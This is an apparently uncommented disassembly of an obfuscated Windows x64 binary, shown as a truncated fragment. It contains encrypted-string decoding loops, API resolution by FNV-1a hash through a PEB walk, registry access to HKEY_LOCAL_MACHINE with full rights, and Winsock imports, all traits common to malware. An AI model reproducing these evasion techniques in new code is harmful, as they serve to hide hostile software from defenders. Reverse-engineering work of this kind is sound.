lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d492
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014d6c0
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014d4be
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x14014d7c1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014d3d1
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d7be
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d520
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d778
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d54f
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d7c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014d57a
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14014d834
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014d5a5
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x14014d86d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014d230
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14014d8f4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d5f1
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14014d426
cmp rdi, rcx
jne 0x14014d617
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x14014d710
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014d643
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014d834
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d660
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14014d4da
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014d1de
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14014d778
mov byte [rbp + r9 + 0xd90], bl
jmp 0x14014d903
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xd90]
add bl, dl
add bl, r8b
jmp 0x14014d7e7
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xd90]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14014d86d
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14014d89f
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14014d837
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14014d7c1
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xd90], r8b
jmp 0x14014d7be
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14014d903
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd90], cl
jmp 0x14014d834
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014d903
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xd90], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xd90], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014d8f4
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xd90]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014cdb5
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014cdb2
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x14014cda2
lea rdx, [rbp + 0x1600308]
jmp 0x14014d96d
lea rdx, [rbp + 0x1026e22]
jmp 0x14014d96d
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x500]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20e0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014d9a2
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x20e0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x20e0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x20e0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x670], Ordinal_60
mov byte [rbp + 0x671], Ordinal_143
mov byte [rbp + 0x672], 0x61
mov byte [rbp + 0x673], 0xf3
mov byte [rbp + 0x674], 0x5a
mov byte [rbp + 0x675], 0xf1
mov byte [rbp + 0x676], 0x62
mov byte [rbp + 0x677], 0xf7
mov byte [rbp + 0x678], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x679], 0xf5
mov byte [rbp + 0x67a], 0x5b
mov byte [rbp + 0x67b], 0xfb
mov byte [rbp + 0x67c], WSACleanup
mov byte [rbp + 0x67d], 0xf9
mov byte [rbp + 0x67e], 0x5b
mov byte [rbp + 0x67f], 0xff
mov byte [rbp + 0x680], r15b
mov byte [rbp + 0x681], 0xfd
mov byte [rbp + 0x682], 0x59
mov byte [rbp + 0x683], 0xe3
mov byte [rbp + 0x684], Ordinal_79
mov byte [rbp + 0x685], 0xe1
mov byte [rbp + 0x686], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x687], 0xe7
mov byte [rbp + 0x688], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x689], 0xe5
mov byte [rbp + 0x68a], 0x7f
mov byte [rbp + 0x68b], 0xeb
mov byte [rbp + 0x68c], 0x7a
mov byte [rbp + 0x68d], 0xe9
mov byte [rbp + 0x68e], Ordinal_79
mov byte [rbp + 0x68f], 0xef
mov byte [rbp + 0x690], 0x7a
mov byte [rbp + 0x691], 0xed
mov byte [rbp + 0x692], 0x88
mov byte [rbp + 0x693], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x694], 0x84
mov byte [rbp + 0x695], Ordinal_211
mov byte [rbp + 0x696], Ordinal_217
mov byte [rbp + 0x697], Ordinal_217
xor eax, eax
mov qword [rbp + 0x698], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14014e690
movzx r8d, byte [rbp + r9 + 0x670]
mov rdx, r8
cmp rdi, r9
ja 0x14014e687
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014db5e
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14014dba2
je 0x14014e606
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014e57e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e551
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e506
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014e4b5
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14014e67e
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14014dbc8
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14014dddd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014e4a4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e481
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e45b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014e435
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014e417
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014e108
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e0e7
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014e0c1
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014e09e
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014e07a
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014e057
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e034
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014e022
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014dfff
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014dfeb
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014dc16
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14014e65b
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014e638
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014de17
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014ddf4
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014ddce
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014dfca
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014dfa9
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014df85
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14014df5a
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014dc16
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014df46
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14014df25
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014df04
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014def0
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14014decd
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014dea7
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014de84
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014de61
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014de3d
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014dc16
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14014dc16
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014dc09
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14014dba2
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014db26
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014e4d1
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14014e4fb
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14014e4fe
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014e524
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014e54c
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14014e444
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14014e410
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14014e01b
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14014e2f5
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x670], bl
jmp 0x14014e630
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014e19e
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14014e166
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14014e12b
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14014e2f5
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14014e5d1
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14014e214
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014e56c
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14014e54c
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014e522
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14014e4fe
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e4fb
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014e4d1
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14014e1d2
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14014e3e9
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14014e273
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14014e3c3
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14014e30c
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x14014df78
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014e4d3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e1fe
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014e621
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e226
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014e40d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e252
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14014e56c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014e12d
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14014e46a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e290
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14014de4c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e2bc
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14014e4fb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e2d9
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14014e089
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014e168
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e621
jne 0x14014e331
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014e621
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e35b
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014e410
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e378
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14014e444
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014e3a2
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14014e522
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014e1a0
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014de4c
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x670]
sub bl, al
sub bl, 0x50
jmp 0x14014e096
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x670]
add bl, r8b
add bl, dl
jmp 0x14014e59f
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x14014e410
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e56c
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e54c
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e4fe
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14014de4c
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x670], cl
add r10, rsi
sub r9, rsi
jmp 0x14014e630
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x670], cl
add rdi, r10
jmp 0x14014e56c
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014e630
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014e621
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014db13
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14014db10
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014db00
lea r12, [rbp + 0x145e418]
jmp 0x14014e697
lea r12, [rbp + 0x136ab56]
jmp 0x14014e697
lea r12, [rbp + 0x670]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14014e801
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014e713
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014e706
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014e6f7
cmp edx, esi
jne 0x14014e7e5
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14014e7e5
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014e7e5
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014e767
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014e75c
cmp edx, r14d
je 0x14014e77d
test r10d, r10d
jne 0x14014e747
jmp 0x14014e7e5
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14014e7fa
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014e7fa
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14014e7d8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14014e7b4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14014e7cb
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014e7f7
cmp qword [rbx + 0x30], r13
jne 0x14014e6c7
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14014e99e
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14014e8b4
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14014e8a6
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14014e895
cmp r8d, esi
jne 0x14014e98d
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14014e98d
